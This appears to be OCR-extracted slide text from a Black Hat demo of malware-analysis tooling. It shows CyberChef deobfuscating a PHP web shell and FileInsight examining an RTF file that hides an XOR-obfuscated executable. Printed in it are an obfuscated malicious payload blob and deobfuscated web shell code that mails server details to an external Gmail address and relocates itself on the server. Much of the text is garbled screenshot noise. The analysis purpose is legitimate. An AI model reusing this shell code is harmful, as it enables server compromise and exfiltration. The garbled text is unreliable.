nz//nP3//2w8aN3cRcpl75adsgoNMPmArAVNROKATCYkrD2ezuy

JTBINF39G91pw+XRemdwlQbi7 LBk sFIDCHL1B0KK 6wdaonD7 twwsSQvbYvweorHRAEqoXaz T2wFu2dD2X2Hov18AmdfodvtgctnX+wXsGz51
S0eH2DbTtZvkML7YoQFtvI7F9A0x JWNNK//zv3/9z+7HIVS

5eGuGp7Whxrs/CiM4qQYwB1APT 2X5W18%/7zvovgB8KhdEe813DYNcEiQMIrezTqlGoLv+sytg/nethzfEzb8WEMpYZhVc
fdidwnme+vF3gMeu3d+gimehuwlaseldKryo+AcegpfwesmoN@ViieVFRUYL fwwZccoE4E30ByxWdSpjgBzIvinxglIMWL15gDrn3zyrcMIPZYL
emviwpohBkEmMWUVrlg700J4s5ewarP3NDse8]3]4BoDwbLixHg8PbTg3/ akyYCFvRdhYnTX

/35s9crUksd+heHxMmUihTulXTC2mOXHUZHMB4L srwiaXxB1V3IH+q+GuzZeGr5teGrrbl3b8TjROav4DVVp@1bjGNWQTI3SKtPypbmI jT+Umv74qLve3
ri+hUpd678gghrG7sg

82G+bKBSH+L1rTrcHg3chBXEJiilgjG2354GFLBACEixi+/00jVCnx88sDghs
JEWTxBcMkbQI9fnbEPTBMegFLefpe7ETId+sMBBDRBavV1z9aX5r++MvadfACL78aA9%urdEovTrzv4QlgIsEXnzl
/bPX8c0eQb7zW1LXedpGCHD7CCPspX141Foebio0balI+dz4EX] juCk

75F¥Ypu/PxrmPsBNBENGFTaiDCZ4THoyMEuwK ia6R+jeD+nbOEyvoBj8DN3/8frvNUkefOstB151ih/ JWE59VI3BE]+kbeafr LEFKEdT
S1IKSwvSBvn5Sviges/ cgS1fllySZSLEsnhg2TplEMhlAgfvkBEt26]gHYg+u3j308N4gCPTQghjagqxtTdtIVEsh+e5XY2+5gglvBY9solrK
vju293B07hfjHOSHCj+yn+7k77Soiyatf/PKbUBgHhIYLUQTXVXyed SUKWNugVSdV1BHCc+sAQT1F23GrTr22sZr8PrB6tkXMuywsLauKD9gMESSCIiT3
mirerlnGKKBRE1grcz3PuXUS2I2viImllisk jOEQOZ+mPVMHES jt8m+kSHEs Jy3pWR7GxbLPITvTVeE 222 jRUNW
UnKeSuucivUgcd+McPmIGqQLlY0Z/oPvoHdD/ I234mLXFViu/w3tYyOMw2Clsd8Xo9vile9Tg2dkuVhCIL7gBEt91GExICRhLZSIZPqy3sVYUKIADSCOmF
SZYKX9MAui+mpnbHZCOBWCEChwPjladBmgang282/ 1trvAy Tt43ru34784edUn+64nsh71tnmIAVep9G28hDFG/UT1
G3GTHS51xhNL17MSAZ+B/atMLOPYVIGIWzHNa JYbpcx31sQI5Xa0nims JAH3MbgECHb2kwBnbMebnZDrUBKzMWd2G jMkGZ5Z0Gal IxbgZ yzWOIFGBCFXs
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c O file:///C:fUsers/user/Desktop/tools/CyberChef_v9.28.0/CyberChef_v9.28.0.html#recipe=From_Hex('Auto’)From_Basebd('A-Za-z0-9%2B/%30" true)ROT 1 3(true. g Q Search =

Version 9.28.0
Operations
raw

Raw Deflate

Raw Inflate
Render Markdown
BSON deserialise
CRC-16 Checksum
CRC-32 Checksum
CRC-8& Checksum
From Base58
From Basebd
From Binary

From Decimal
From Hex

From Hex Content
From Hexdump
From Octal

SHAOD

Swap endianness
TCP/IP Checksum
To Basebd

URL Decode

Last build: 4 months ago

Recipe Bm8

From Hex (VI |

Delirmiter

Auto
From Base64 (NI |
Alphabet

A-Za-zB-9+/=

Remove non-alphabet chars

ROT13 O n
Rotate lower case Rotate upper case
v v PP D Rotate numbers
chars chars
Amount
13 =
Raw Inflate ® n
Start index Initial output buffer size Buffer expansi...
e v e v Adaptive

Resize buffer after

O Verify result

decompression

Auto Bake

STEP

length: 23554 ——
Input PP + Oz 8 =

355831376b3572593176666672366b36333848547a386461525a6c57414e745a36e44584a65377942614e49744341677a78365863545a434c62a49
43497838357166396665674b4b746e58696e4a764f6b7169734b2b374c325462396133527578312b76562b7633616a6b6e72784138587a346a6e
2f2§7537333973377872422f754752354538392b61793841555a473935582b374e76536C376C33212b21Ba6e7a212f0e5033212F3277328614.33
63526378573753613973676T4e4d586d587241564e52416b416643596b724432657a752T66424a6e46333047303176772b5852656d34776c5162
69374c386b7346494463484c6c384T4b4b367738616T6e44376674777753517662597677656172485241457161T58617a66327746753264443258
324861T766C38416d646661T3476746763746e582b775873477a35692141654832446254745a766b4d4c3759675166764a3766394151786a574ede
4b2+2+7a763321397a2b37483956530a73654775477037576878723921436a4d347151597738314156373258355731385821377a763976674238
4b58643665386C3344594e633669514d4a72657a54713147614c762b73797467216e6574687a66457a623857364d78595368566321646934776e
6d362b764633714d6575332b67696d65687577316153364a644b72796T2b4163657178667765736d6T4e385635606556465275594c6677775a63
636T4534453341427978576453786a71427a4976556e786731494d574c31356744726e337a7972634d49505a59746a6560d7677783668426b456d
577556726c7137446T4a3473536577617258334e447365384a33433442674477624c6a784871385686254713321616b79594366765264685%6e54
5821333573396372555773642b686548784d6d5569684097531585443326d415848557a484d38344¢7372776961587842315633482b712b477573
5aB54772357465477272626c336238546a524F617634447656763031626a364e5751543333354b74587970626d496a662b556d763734714c7639
33724e2bB855706436373871676872473773390a3832472b624b4235482b4c317254726348673363684258454a69694c716a473233533447664¢C
426443456978692b2F4F4f6a56436e78383873446768732F4577547838634d6b62514a39666e624556543084d6567464C67667865374549642b73
4d38424452386176566C7a39615853722b2b4d7661646634434c3736861413939757264456F¥7654727a7634514a67497345586e7a312F62505838
534F655162377a57314c5865347847434844374343587378586c34314661656269394152614c492b647a3445584a6a77436bBa3735665978752F
5878726d58733084e424e714554616944435a34494861794d3675774b696136522b6a365442b6e524f457976613086a38444e332F386672564e556b
396641f7366364a3569682F6a57383539565a3342364a2b6b36656141724c36466b4264372F314b3577765336766e3576693939382F6367353166
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time: 25ms

Output length: zes3s [ |E| 3] 0

lines: 25

error_reporting(8);

if (lisset($_SESSION[ 'bajak’]1)) {
$visitcount = 8;

fweb = $_SERVER["HTTP_HOST"];

$inj = $_SERVER["REQUEST URI"];
$body = "JICE Shells bogel ‘\n$web$ini";
f$satem8de = @ini_get( 'safe mode’);

if (!$safem@de) {$security= "SAFE_MODE = OFF";}

else {$security= "SAFE_MODE = ON";};

$serper=gethostbyname($_SERVER[ "SERVER_ADDR"]);

$injektor = gethostbyname($_SERVER[ 'REMOTE_ADDR']);

mail{"setoranded@gmail.com”, "$body","Hasil Bajakan http://$web$injin$security’\nIP Server = $serperin IP Injector=

The PHP code is deobfuscated

$injektor");
$_SESSIONM['bajak'] = 8;
h

else {$ SESSION[ "bajak']++;};

if(isset($_GET[ 'clone’])){

$source = $_SERVER['SCRIPT_FILENAME'];

$desti =% _SERVER[ 'DOCUMENT_ROOT']."/cache/bogel.php";
rename($source, $desti);
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black hat
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Demo 2

* Deobfuscation of embedded PE file

* RTF file that PE file is embedded and obfuscated with 256 byte XOR key

° Plugins used in this demo
° Visualization -> Bitmap view * Misc -> File type
* XOR -> Guess multibyte XOR keys * Parsing -> Parse file structure
° Encoding -> Hex text to binary data * Misc -> Send to (GUI)
* Basic -> Copy to new file

* Misc -> Hash values
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Enter a URL here M|
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Use Internet Explorer Proxy = H CAfee
Get
Enter your proxy as [Server:Port] here =

MNavigation
X Supported for HTML, OLEZ2, PE and Flash.

@ (WEWLEULGY BE Structures [ Decode

Values q

Byte
WORD
DWORD
ASCI
Unicode

NI R Bookmarks B Caleulator

64b3d533belfelb3bd5escd7adaf... X
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Ygl \liOh\riOh\widctlparhaspalphataspnumifaautohadjustrighthrinOhlinOh\itapd “fs20%langl024h\langfel024N\lochh\f0\hichh\afO\dbchhafl3hcgridilangnpli24dlangfenpl024 ‘\snextl
{"*\rsidtbl \rsidlé42274}{\*\generator Microsoft Word 11.0.5604;}{\info{\title aaa}{‘author User}{‘\operator User}{\creatim\yr2011\mod\dy27 \hrl10\minld}{\revtimyr201
{"*\company Microsoft}{\nofcharsws3}{\vern24689}}\paperwll90e \paperhl6838\margll800\margrl800\margtl440imargbl4s40igutterd \deftab420\ftnbj\aenddoch formshade\horzdoc
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{"*\pnseclvlli\pnucrm\pnstartlipnindent720\pnhang {\pntxta ‘\dbch .}}{\*\pnseclvlZipnucltripnstartlipnindent720\pnhang {\pntxta ‘dbch .}}{\*\pnseclvl3i\pndecipnstartl}
{‘"pntxta “\dbch ) }}{"*\pnseclvlSipndeci\pnstartlipnindent720\pnhang {‘pntxtb ‘dbch (}{\pntxta ‘dbch }}}{v*\pnseclvleipnlcltripnstartlipnindent720\pnhang {‘pntxtb ‘dbc
{\pntxta \dbch }1}}{\*\pnseclvlBipnlcltripnstartlipnindent720\pnhang {\pntxtb ‘\dbch (}{\pntxta ‘dbch }}}{\*\pnseclvl3\pnlcrm\pnstartl\pnindent720\pnhang {‘pntxztb \db
“gj \liOh\riO\nowidectlparhaspalphahaspnumifaautohadjustrightirin0i\linOhitapld “fs521M\langl033M\langfe2052\kerningZ\lochh\afli\hichh\afOh\dbch\afl3\cgridilangnpl033hlangfenp

Ln1 Col0 Leno0]INS

i e 440 PM
11-1 1 & oY) Tl P A m 8772021 |-\._r-|



U Ig Filelnsight - 64b3d533belfe5Sb3bd5eScdVadaf8e7c55d0a9581708ach1bb2940ff3c0b3875_PanchePetitionl.doc = b4

H E Search Plugins Windows Help
j 2 J“w H D Enter a URL here ~|
—s ol L Use Internet Explorer Proxy - - U HCAfeem
MNew Open Close Save View View as Get
b - as Hex  Text Enter your proxy as [Server:Port] here o
File View Web
avigatio ? 04b3d533belfeSb3bd5e5cdVadaf.. X
# Supported for HTML, OLE2, PE and Flash. Km& ']\jl’lfr -ﬁﬁaﬁﬁ@ﬁl@%‘%ﬁ[ﬁiﬁ&#ﬁ?coao S'F] Y A
JEREODFO- | B>WlkiM [Rs7
QEOTMEELDLE[USKISICAN SISO S UBKE C S ENCYnrS Tﬁf?m#ﬁbqql{ﬂi sO7/IX ( .73+ T7=V Eoasfo & mw;z 7=E=-ng27 *&-ORaNEE (NULHR S pleS I RE=E S
$Frap7)T ERCEM/dp. ). ! | AERERRIENR S, {WOC_] QP#e3Ely, |:|1r>[H— M80_ *fSEIG' @s:ﬁf-HLP [FERDC 3 kil S vNEWE S CHY f-MaE/hE
S FFHELM CANBELNEGIRYE S T[SURH EOT e RNt Eeis ERs - e A /05 + e BEA vy ziE; E0F0i07  EE#TU/R2-M  EONmRs EelEmanen. - B B8rS o k- AEAEAENE o< 1 E 9
PEAE OT[ENOIACKIBELINULISOH|STXETX FF
BRERFE - e - Ok, IA R 2 F
D@06 [TisA23450s, 9\  Ham-+,2 SEE- 59 1 oI R/ fEcE @8- ~fR-or  @8@bg

a8z}~ vIBRuvFIIJRE  EWF7OBCY -] YZ [\ 4 Ei@rs Faviz: @[ |- E710Bwz EREML wit-qOEY | {2 oEec i 7 ERLEEe RS 0/F) B e Dk SR
DieR-068--° B le @Bv4iT!zZOER1=)-) BU-00-E3- 8- @8707Tsr7j11v=1nFAr3e//EUER UvuwWe zhh fIvTO<

OfFEY  EBoLEBERALD. -770.[ Jr23y-3--shosp [ETRISANUT ki 7 K=
PN%CDDG“EEQZ\] I]E;’l' e o . °
kefo® abclmno/2- 120710kt EERDRLPDY  EERC EERO Suspicious binary data is appended to
2 OEB/IId: B/ EMamE i+ e ERA Y5 45670123<=>2 . . .
Ty T St S N R e e PR el caee S ) this rich text file ETRETEDC 1T
yl S OH imi E S CREIET Ter S =R 17 < mi-EN 112 K DC4[DC4|De3[De2| acRi sl vTFNoB v cCANEEE S vEmN S OH ek ing)
24E"Drard- iR e - OB 3057k 4, iitsp  E@h=N4¥TU/<2G;:¥ @@ GLERE
BER 9w TR 2 1 RS (76 - 10 Gl Bhes ) - B | b - #lx . R e =0~ <<\f0 @4 h'Nl- & *p, U 4. £p10). BEWOD EEW-OrTiET £ Bvud [SoHERE(
wED: EELERVENLEmEqiEiFv-h R B4 # EEExyOc EBROO3t-47D2- [F e S T SSN B S REP = 1 B R
DR | YAt EwCEboP) 7efE [YReoy I VA=Df baT7 BTV it « oSt U @l EfE7 |2 /RF1Fuv [DC4DC 3l S v by =1 Hi A CEEmEE SR B sHson ]tk
D2#5/ofdy3iE:  E@U - >x‘éuwi*v shztng £, Ak 9gOYKITH B e EBMREEE (N OWEE Am @8 (71cT#LoIE R s o=Hmms En i v pE B TTgicTvoRa/ Aot
YERrs [E oi&rOs © B4 a\, (YT b BCIHL\ EBrD BE7 = 201yOglzchis MGoBuiiieyr MROONYEI BB, BEIECAN0 D' =020 B in fES+7 Sonl - DEMEEosENT -1
] Navigation = ; --me;@.:pJ 5. . 7< B4 ] _ i i “
= m{m"{_ﬂﬁaff?s 3~ #ft?:ry BT mﬁﬂﬁﬁ--ﬁhem: EB-fon-Er 7| AR EREE0v-Y - (B ESvii oD zcOr  EEREELILFE EEe!0ofEosoo ~5T (DC 4GS ESCrEl=labd |
ES 4 JHS EM Cﬁ b]C ﬁ RSH l*rjkjﬁﬂl
- = SOl ﬁmun,,,\usms:}z? 7+ SE EOR - @3ONI\3Yy. ! /-WeBe/* |3 |dsa |Rrk] zhebbl) -gtciEiz  [EEkI<tY bOOO-§& (vTisl S ORME SCRRE vl w1 el E S = S C S WEA T TR F S C Ll S T ksl S
Brte 5 5= @B | MFI>HET- @E%}Eﬂjmr&-g&ywﬂ%;ﬁw 9.4-_ ) ,
WORD o SELiT. MEMuEEm-O-hE Umﬁw{ S e (PR AE S, 201580 Eerey0ihouliond MRe->Bt- (clec@mxiE EEEr: BEd TEe70) ey E#nEm.r iR erlay \@@ET 2 F|rigphl
DWORD o Dsill [770o. J{ YaabHz (NARJIDLEESmYE G 1 C 2 il = v
ASCII
Unicode 1gSHER [121F+KE; 100 7/ d4-, 73 -/ BIeRYE~ L r)2Tv4 0+ [ METF-3L FeEaxERNE:00F ChecRmPeiEas -+ c /e cieRr=" BPc[78: ) o
ifFvgifizl<1 ¥ EEecODéwH=v 3.3/ EX7-7] EERe7- 2% seor  FiEm s HRe D 2 Difre , RNy F M7= 00148 el @8Y: -nxzaj] [ENQ| { -0 EROEE-10E ERRiiEs ' sl 25
ONEARRAIEIr -0, ) UTIOR
-1V, B SROSKOs [LM{ANE - VInEl4/ TH (VT SR NUTJERRP=iNell < OgRGi nC 2 Bl TRES DC 4 [l FME U Shakigs TR [P N A K GRcEEt g F Sk aam i —E-I’]t/:I—i-.ﬁIR*]':E,’ LD'}'?#ESQPGHU. iE T ks
IP\b#yES89: 715130410 EEA{EIER V12 EEETL! - EEReYAIDE 2" BB nrERRCV BRK)ESE 2 b 478 ~0) | OcO} BEemi-ol=3 Eme7Emcgiiain: 2] EaysIHE+s] @)
_EVEETIE0243=yTp [T7r¥4aqg- (g A7+ BBV - FIBIRE - EERH\ -2 153 Bic iR e 1 | e ) TyEBChy ' Efz k. mmbnﬁ%&wm%ﬂmqﬁ &aam:wﬂ ESCHCANEES SUR T
I ERrAEEE - t/1wiltcr+/E po'wiTYIz) R, |RS B~ \ 0z')O1DRAA:
o0t AN R EEy: . BEle-pitERE EARE1- BB T E) g e -EN0 BB EWOI{78i11-MAIHERES-
UPTZ[E @@8=7"-z}) v/, vh) p4h3-3 Ey7c)>IviiiEiEqgs 0 B9 v a0 - e EE R ERTERERE: - Fion e/ C-c EsCRegRET {">{-25 EmewD7
K&300>C?i[L1GiEGJLvK" BEEN !y ) 0/ 41058754209 sCHEENONSOHHNE TXE=LSA e -‘ﬁfw- N R /e R=. 1?*; L1, EREEs O e E B B, D A e 12 7 (te/
G SN S RIS TIFTE s }%o- [DC1)SREE -3{- E@5-0 EPo I EX0RAI0ITR%,. 2/ [3 @@+ T1"2-947@{Cr20502 " xh7C FE | ¥4t~ Y:;)KJ%EpE T/ v
1| {zOfBEN ET "Dhav- -0 'J-‘kDE:EEd' [EnQEDLFER U S Heltinl Eenyz: 5 -758E0/0-bava 3t ; BT, - DEAz3 (BB, £; /<+E0T58~} .K9>}) 467+ @M 0D @ 7/z- EIEE
EDM  — pymp— p—— . P, PRI M oo LAALT s - P~ AE e e . Trr x - n T it oo Lfrm e —— - [ i __ e S R . —r— LY — TS O T 11 D p—— R
7 Values = < >
;?I[}u'tpu't 5S¢



U = Filelnsight - 64b3d533belfe5Sb3bd5eScdVadaf8e7c55d0a9581708act1bb2940ff3c0b3875_PanchePetitionl.doc - e

Home Edit Search Plugins Windows Help

|» Operations

Basic 4 ™
Compression L4 U MCAfee
Crypto L4
Plugins Enceding L
avigatio Misc 4 8 64b3d533belfesblbdSeScdTadaf.. X
X Supported for :a“'”hg : KEREE 1'th v r N 718 & S R TR IH E 145/ CoRo vTERNU L2 CEMEOTHY .
= —==3pnpF|0: 1’ :E:;»Wl}c?M a3t
XOR » Byte histogram MEELIDLE J‘u’|rual|zethrzwhnlef|learabltmap repres sentation BRAT 6ERFO | TS bgdxF 7 sO77IX (. 73+ T7=V BAsfo 1aE- MWEE 7ZFE=-Ng27 * & -ORaNEE - BB Cci  EFEE
Check for update Entropy graph Ty G-?‘dp. Jad |/u.4wuc 10P4#eaiEly, |:|ir>[ﬂ— MS:I 45|:|9 @szif-utli [FEIDC 3 il S v EME S C R f-MaEzuﬁ _ _ _
Vercion infa JE M CANRELNEGIRWE S T[SURH EOT e ANt Eeis ERs - e A B/ /05 + e DC2 Ve Es =y R EToT N - - T )-SR U < O U L I=] STX E T EOT Nl M U S LRt DC 2 EHrI< 1Y R R
VEIE OT|ENCIACKBELINUL[SOH STX|ETX|FF]
EeERE it - efinTiEn . - -0k, 1A 14 ENROS
Ofx@l6 [TieA23452=, 3N  EEl-+,2 BE8- I ka8 B/ fEsE @8 ~%Eor  E8bg
ez} )~ yIBRuvFIIJRE  EWF7OBCY -] YZ [\ 4 EiElrs Faviz @[ |- E710Bwz BEEML . Jwlt gOEY| {z oEec e 7 ERLEEe- RS0/ B e Ak oSl
DieR-068--° Ele @Bv4iT!zOER1=)-) BU-00-E3- 8- @8707Tsr7]11v=1nFAr3e//EUER UvuwWe zhh fIvTO<
OfFEY  EPoLERERALD. -770. [ Jy23v-3--shosp [ETRISENUL ey n K=
INES D 1 RET WIS =orANE: C 21 il Eb s
kefg abclmno/Z-T20Y70yxt  ERWOEL7?07~0 EEedt:  EEBul
2 AT d S/ EMamIE+i+ s ERA IS 45670123<=>2
11514 ]4gE 1R8 7 g UNLAE L I - - ES(ETL BUFEOk D-#537BI0A<=>?X12s4Y fimss I R cENGE v ENOIACEE CANRE E SCFSHIR SRR iEED 1y - FEd. "3 el stuv. SDESMYE
PRl S O iRimi e S CREEATELTePS =N U < Im)=R M 7. K| DC 4[DC 4[DC 3[DC 2/ ACKidRel VT [ENOR FM CANERS VIV sl = OH Kol (ny S S o
24E"D-ard- 1R e - OB 3057k 4, iitsp E@h=N2¥TU/<2G;: % @5 GIERE
B_9'Lrw?w(?@v-1|: -Si]jimm?'bﬁt G 7. CE i E T X ptm <<\F+0 BEIRdr he'Nl- BRp: B8f-av 2 +p,U . fpI10O). BEWOD EEW-OtTiET £ Bvud SoHERE]
wEE) @51 ERY] ST = oS i : Stwmg | By - A Y CEEP
OiEEE | ?thc#bQP)JeﬁE[Yxr;cuﬁxR DM:LTL?A W] .J'R'fB )C 4|DC 3EiN S VG ER =i r C ©. C K BEeE Sl EsHSOHEER:
De#r/ofdy3iE: E@u - >x'§u)‘fl*v shztng £, -nxSgDYkITH | uciERMREES | EOwTEEE A {T]C?#ﬁol&c%’% iﬁmﬁ“ .x(MJL pE-B.TIglcyvora/iott
{ERs [ oirOs - B4 a\, (YT b BCIHL\ EBED BE/ Sa201yOgizchis WNR0EU feyr BRAONYEI B8, BNECIN 0O MS x020 EREPin e+ Sl AEEEEosiELT 1
3 Navigation = ; --iEe:Fs“.:pJ . . 7 <7 w4 ; _ ) ) :
m{m"{_ﬂﬁaff?s g #ft?:ry BT Mﬁ‘j--ﬂgherm EB-fon-E0 7| R EeR S0v-Y -E- (B ESvii o zcOr.  EEREELILE EEe!DofEosoo ~ST DCadGsIESC =R |
alues . ,Hs (B0 cE EEhlc-E - 1*F1kjﬁ|31
- = s ol ﬁmun,,,\usms:}z? 7+ SE EOR) - @ON\3Yy. ! /-0eBe/* |3 |dsh | Rrk] zhebbl) -gtciEliz  [EEkI<ty bOOO-§& LY e | Fh-u Blr-allE<s - ey 7 EiEEc - ek Bn it -
— 5 5= @B | MFI>FHT- @E$bﬁ1@33m-R-4_5'JP>,fT3-?m‘aw 9.4-_ .. J
WORD 5 SELIT EEuEEm-O-hE Umﬁw{ ey y e REWNL A S =, q?01580-  BEeray0fsHoulions Be-VBit- (cipe@mxiE EEHEL: BEE TEEN70) PLLFO"ELE TR @) el \@@RT 2 F|rlgph
e - Dsill [7°"0o. I { YoabHz (NARJIDLEESmpE G 1 C 2 il = v
ASCII
Unicode 1qSFEF" [i21F+KE; 100 7/ F+—,  Jr73 -/ BIeRYE~ BBl r)2Tv4 0+ [ 7531 FeRxEReE:00F ChEcREmPeEEs -+ c e cieRr=- BPc[7E: ER) o
ifFvgifizl<1®  EEecODéwH=v 3.3/ EX7-7] EERa7- 2% seor  FiEm s HRem D 2 Difre , RNy FIMI 7= 0148 e @Y -EIXJEj] [ENOI { -0 @EROE#-102 ST IR NC 2 B
QAR IEr -0, ) UNIOR
R Y, B |SROSXD& [MIFNE - VInEld / TH (VT SR NUTjcEERPg=ivell < Oy EGi nC 2 BllF TRER DC 4 [l FMEIU Sakiga TR [P N A K GRcEt =g F S aau i —E-I’]t/:I—i-ﬁIR*]':E,’ LD'}'?#ESEPGHU. iE T ke
IP\b#yES589: /19130410 EEMEIER V12 EERTL! - EEReYAIDE 2" BB nrERROV BEK)/ESE 2 b 4738 -~/ | OaO} Eemi-ol=3 Eme’mcgiiai~2 2] EaysIHE+s] @)
_ENEETIB0A43=yTp [TTx¥4q: (g A7+ BBV - FIBIRE - S8R\ -2 153 Bic R e 7 | e ) TyEBChY raﬁg#n-mmwmmwmgmmqﬁmmm-ﬁ SUR g
I ERrAEEE - t/1wiltcr+/_ po'wiETYIz) R, |RS B~ \ 0z')O1DRAA-
OOt AN - R EEy: . BEde-pitERE EARE1- BB T EE) g R A0 BB0 EWO1{78i11-MAIHERS-
URTZ[E @@8=7"-z}) v/, vh) P4A3 3 E37c) >y vl iilREq4 0 B9 Eiv R - eRE (D GiRFEREERERE- -Fifoo el " c EsCRegREL {‘>{-25 GEewl7
K&300>C?i[L1GiEGJLvK' BEENC ! ) 9/ 410587 %5429 sSCHEENONSOHHNE TXESSA e -‘ﬁfw- N R /e R=. 1?*; .1, e O e B B, DR A e 92 7 (te/
G ESENIF S CR S TIF TR BRs }a’%o- [DC1)sREHE -3{- E5-0 Mo 8 IEX0RRI0ITR%. 2/ [3 @@+ E1 "3 947@{Cr20502" xh7C ' FE | #41)- Y:;)KJ%EpE s/ v
: | {zDfBEEN EET- "Dhav- -0 'J-‘kDE:EEd' [EnQE DLFER US Heltinl Eemyz: 5 -7E8E0/0-bava 3t ; ST, - DEAz3 (B8, £; /<+E0T58~} .K9>}) 467+ @M 0D @Ee 7/z- FOWME
LS50 — pp— p—— . P, PRI Mo - LAALT s - [Tl PRSP T ’ - oy . __ R it oo Lfrm e —— - . . [T SR L TS Um —r— LY [ Pt =il 11 T p——
7 Values = < >
=] Qutput Msc



U Ig Filelnsight - 64b3d533belfe5Sb3bd5eScdVadaf8e7c55d0a9581708ach1bb2940ff3c0b3875_PanchePetitionl.doc - e

Home Edit Search Plugins Windows

U McAfee

Plugins

MNavigation
# Supported for HTML, OLE2, PE and Flash.

4P -x

L.

The rich text file is visualized
with bitmap representation

VA E LT E N AL RIBE LINULSUH S TA R TAFE
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jllv=1WFar3e//@UEE UUWP~Zh FRVTO<
i

Start of the suspicious binary data

erg abclmno/ 4TV TLVET EL N O[PSl ETX[S B

LEEA T4 BEE/FEMamE 41+ IS EEA YIS 456T70123<=22
115]414gEB(RE T, gFUNLIR 1 IE - - ﬁ%’a]ﬁ ﬁﬁuk'D-#$%-;rB£|:|R<=>?x1254>‘ FohinTI B SERGRE v ENOACK S CANIRE ES ClFS IR S [nEREA mEEe 1y FEd "= 3 (DC ARl = TBIE TR DC 1 D
Y EeEED BEs-Faudloier @E0OD: 2| ACKES WMV [FNOE EM CANEE S YN SN S OH Lo ny S S ko

24E"Drard- iR e - DC JEIEI??k':r ﬂ’i%p @Bh=n4¥/U/<2G; T @EEF{ ;LA
i=1E S JERRINU LI 7 S W CANEEIEEh N E T ESRE] 2 CRIACE [ EENerna-l )l 7 CF i E T X b <<\f+0 EBd: h'N1- Emdpr E3-a1v 1 *p,U F.fpI10/ BEWOD EEW-OrTiET £ Bvud SOHERE]

lsok lﬁmihg%q&%ffﬂ%-b BBr @m-{.# EEExy0t  EBrRO03t-47D- FrlliEl ST O E S N - TR S R T
OEDE | At BwCEb0R) 7 [YXGOA=DI baL7LEI /i« PRt [0 5ME7 |2 /RFL1Fuv BEORRRET] BEiEE EWTol,pA- BEROCtE i B BRI ESEus2

De#n/ofay3iE: @BU ->XEulVivv-hzindf, c~xSgOVkITH B wei@BaxEE  @EOwWEDRE An ERMERELOIECRo=E*7 asHnx - ml-pE B TTalcIToRR/ Aott
tErs [E mlvOs © BNV [ 3., {IyVT MM ([ 9cTHLD EBrD BE7 = 201yOglzchis MRoBuiiieyr IOONYEI 6. BUHEANI0 M =020 BB in FAeES 7. Honl - DEERosiEL -1
D1.ERSOHIGSARSISUBH FREESIN ORG-S CEal
7 Navigation |12 A AR BRI Is 3 4 T4y, 7 @X97 454 f8nelo= Bl fon-#h BE7 BREERR (S0v-r B (BERIEEvEcERzcD BWESHEICF EEE!O0iEosoo ~57 DC AN CS[ESCERRIb
[ 0x00 Hcilss [ cF ielbIc-# @y i*Ek/IEa-
Naluss B A5CH control i1 AEBOED30s>97 -7+ SE R ERON:\ Yy, | /-@eBe/* |3 ]dsn | K7k zh@vh)~-8EciEiz o) 1<F7 bOoD- §2 @b (R @8 | Fh-u BlF-a1iE<S: - e 7 EEEc - FEek0- BRnit) -
M A5CH printable = A MU / 153 S8kl [+ Y R+ 4_5YP>/T39n¥ay-9:4-
W Non-ASCH (== 0x80) GFTAT.  RiRad - frnra « M b 22 | e == RN TarAGE e L2 S ~ormEEn. Sauleod AL e ERG-E . s inemw T [E BTS2+ i Tisay ot AN ERr B & oz Tav MERr T e Elet onllll s Y

>
WD RD Offset: 0x205e

DWORD Value: (w30
ASCI

Unicade

the whole file to the wviewsr GUI.
You can move window by dragging bitmap image.
also copy current offset by right-clicking bitmap image.
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U McAfee

Home

Edit Search Plugins Windows Help

|+ Operations

Plugins
Mavigation o
# Supported for HTML, OLE2, PE and Flash.

64b3d533belfelb3bd5escd7adaf... X 4 bk »x

(RS VAN N U L VT EEINU LA CEZEF O A
Beopf|O- | H>WlkiM R3S

JEoTMERELDLE[USE
Frapn7ii NEERG

RN INULRE S HeENFaE-=E5r i S v NIDLEDC 1[DC2 H=ESIEtZ 3]

MeEL - 7E20) - BBy 0o

;EOFFL707  EET/B-2-M O ERAERne. - Bl @30S ok (S BUE >9< 1Y E 9

Copying the offset of start of the suspicious gs
binary data with right-click menu
(Unfortunately Filelnsight does not provide
o plugin API to control cursor position)

e D2 TR = S C T S H S £oeo U ==
‘E%’a]ﬂ ﬁl]k’ D-#5%YBI0F<=>2X12s4”

e
01zl & [ e 2
1Az } } ~ 'yig

CowdtgDEY | {2z ENOHIDC 1 RNz R @l F S CRESS- SV CANESDC2HF

v T

(RSREFSCR

Copy offset to clipbeard

MEERe1y-FEd. "x -3

JISJ-‘JHq%{Eﬁ-: gEUMTfElEI{;‘,’E

EsEm e SERG e VT ENOACRECANIRMES CIESHIR SINEENN
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[ETBETEDC 1SN
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i=1E S JERRINU LI 7 S W CANEEIEEh N N E T3 EES ISR 2.C KA CRUESR=ar ol 7 C F jfd - T pan e <<\f+0 EBd: h'N1- Emdpr E3-a1v 1 *p,U F.fpI10/ BEWOD EEW-OrTiET £ Bvud SOHERE]
wiEe)- 1%@%@%&5& b B8R @W-A1.# ASExyOt EBROO3t-#7D°- FEGliEFal ST o R SN TR A F T,

OEDE | At BwCEb0R) 7 [YXGOA=DI baL7LEI /i« PRt [0 5ME7 |2 /RFL1Fuv (DC4DC3ESiN S VIR Y SR ~ C < SNCE ST = < I S OH Pk

D2/ ofdy3iE: EBU >XEBulVivvebhzandf, onxSgOVkITH B wei@BaxEE  @EOwWEDRE An ERMERELOIECRo=E*7 asHnx - ml-pE B TTalcIToRR/ Aott
tErs [E mlvOs © BNV [ 3., {IyVT MM ([ 9cTHLD EBrD BE7 = 201yOglzchis MRoBuiiieyr IOONYEI 6. BUHEANI0 M =020 BB in FAeES 7. Honl - DEERosiEL -1
[DLENSOHIGSHBSISUBE FFESel S OH MRl - S CESS

RAEEBINR3{48. 3 #4t T4y-, tT+ EXGF4E)4- HhelO0=

HoieE [0 cff eblc-#E B8-i*Ek/ a2
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L5 Navigation [

p— [ ox00
S B 25Cll control

W Mon-ASCH (=
Offset: 03735
Value: (w30

TRk I<b bOOD-§&

zh@bbl)~-gTcElz

(VTSR SORME SCRRES SRV - e R = - S C S = TR IS SCRanll S TRE RIS

[~ PR S ey T P i 2 2 o, v

>

0%30) ERz-Bft e rranermwE M2l - ad R ot LI ERr A A p AR oz Tav ARRT el el

WDRD
DWQORD
ASCI

Unicade

the whole file to the wviewsr GUI.
move window by dragging bitmap image.
also copy current offset by right-clicking bitmap image.

You can
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()ez

Mew Open Close Save

View View as
as Hex

MNavigation
X Supported for HTML, OLEZ2, PE and Flash.

EPQVENRENINY BE Structures [ Decode

Values

Byte 218

WORD 56282

DWQORD 27790443826

ASCI 72, -377. [ 1139737757057
Unicode

